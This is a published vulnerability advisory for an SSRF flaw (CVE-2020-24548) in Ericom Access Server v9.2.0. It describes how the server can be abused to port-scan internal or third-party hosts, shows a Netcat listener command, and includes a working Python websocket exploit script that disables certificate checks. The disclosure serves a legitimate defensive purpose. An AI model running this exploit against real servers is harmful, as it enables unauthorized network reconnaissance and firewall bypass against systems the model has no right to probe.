[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/ERICOM-ACCESS-SERVER-ACCESS-NOW-BLAZE-9.2.0-SERVER-SIDE-REQUEST-FORGERY.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.ericom.com
[Product]
Ericom Access Server x64 for (AccessNow & Ericom Blaze) v9.2.0
AccessNow is an HTML5 remote desktop gateway that works from any
device with an HTML5 compatible browser,
including from Chromebooks and locked down devices. Ericom Blaze
provides remote desktop connectivity from
Mac, Windows and Linux devices to applications on office / home PCs
and virtual desktops (VDI).
[Vulnerability Type]
Server Side Request Forgery
[CVE Reference]
CVE-2020-24548
[Security Issue]
Ericom Access Server allows attackers to initiate SSRF requests
making outbound
connections to arbitrary hosts and TCP ports. Attackers, who can
reach the
AccessNow server can target internal systems that are behind
firewalls that are
typically not accessible. This can also be used to target
third-party systems
from the AccessNow server itself.
The AccessNow server will return an attacker friendly response,
exfiltrating
which ports are listening for connections. This can bypass Firewall
rules and
undermine the integrity of other systems and security controls in
place.
E.g. listen using Netcat, Nc64.exe -llvp 25
A) Ericom Server 192.168.88.152 (defaults port 8080)
B) Attacker 192.168.88.162
C) Victim 192.168.1.104
Using Wireshark we can observe A sends a SYN packet to C (port
25)
C sends SYN/ACK to A
A sends ACK to C.
A sends ACK/FIN to C port 25.
We will then get an AccessNow server response similar to
below.
["C","M",["Cannot connect to '192.168.1.104:25'.",true]]
This message indicates we cannot connect and helpfully informs us of closed vs open ports.
[Affected Component]
Ericom Server port 8080 will forward connections to arbitrary Hosts
and or Ports
which are sent using Web-Socket requests. Ericom server then
replies with a
"Cannot connect to" message if a port is in a closed state.
[Attack Vectors]
Remote attackers can abuse the Ericom Access Server to conduct
port
scans on arbitrary systems. This is possible due to a server
side
request forgery vulnerability and using a remote TCP socket
program.
[Impact Information Disclosure]
true
[CVE Impact Other]
Exfiltration of open ports
[Exploit/POC]
import sys,ssl
import websocket
##pip install websocket-client #Required
#By hyp3rlinx
#ApparitionSec
#========================================================
#Ericom Access Server v9.2.0 for (AccessNow & Blaze) SSRF
#========================================================
BANNER="""
______ _____
| ____| / ____|
| |__ _ __ _ __ ___ _ __| | ___ _ __ ___
| __| | '__| '__/ _ \| '__| | / _ \| '_ ` _ \
| |____| | | | | (_) | | | |___| (_) | | | | | |
|______|_| |_| \___/|_| \_____\___/|_| |_| |_|
SSRF Exploit
"""
def ErrorCom(vs,vp,t,p):
try:
ws =
websocket.create_connection("wss://"+vs+":"+vp+"/blaze/"+t+":"+p,
sslopt={'cert_reqs': ssl.CERT_NONE})
ws.send("SSRF4U!")
result = ws.recv()
#print(result)
if result.find("Cannot connect to")==-1:
print("[+] Port "+p+" is open for business :)")
else:
print("[!] Port " + p+ " is closed :(")
ws.close()
except Exception as e:
print(str(e))
if __name__=="__main__":
if len(sys.argv) != 5:
print(BANNER)
print("[+] Ericom Access Server v9.2.0 - SSRF Exploit -
CVE-2020-24548")
print("[+] By Hyp3rlinX / ApparitionSec")
print("[!] Usage: <vuln-server>,<port (usually
8080)>,<target>,<port-to-scan>")
exit()
if len(sys.argv[4]) > 5:
print("[!] Port out of range")
exit()
print(BANNER)
ErrorCom(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])
[PoC Video URL]
https://www.youtube.com/watch?v=oDTd-yRxVJ0
[Network Access]
Remote
[Severity]
Medium
[Disclosure Timeline]
Vendor Notification : June 21, 2020
Received automated reply : June 21, 2020
Request for status : June 30, 2020
Vendor "Forwarded all the detail to our R&D and Management
team" : June 30, 2020
Request for status : July 13, 2020
No vendor reponse
Informed vendor advisory: August 11, 2020
Request for status : August 20, 2020
No vendor reponse
August 22, 2020 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or
otherwise.
Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting
it, and
that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit
is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility
for any damage caused by the use or misuse of this information. The
author prohibits any malicious use of security related
information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
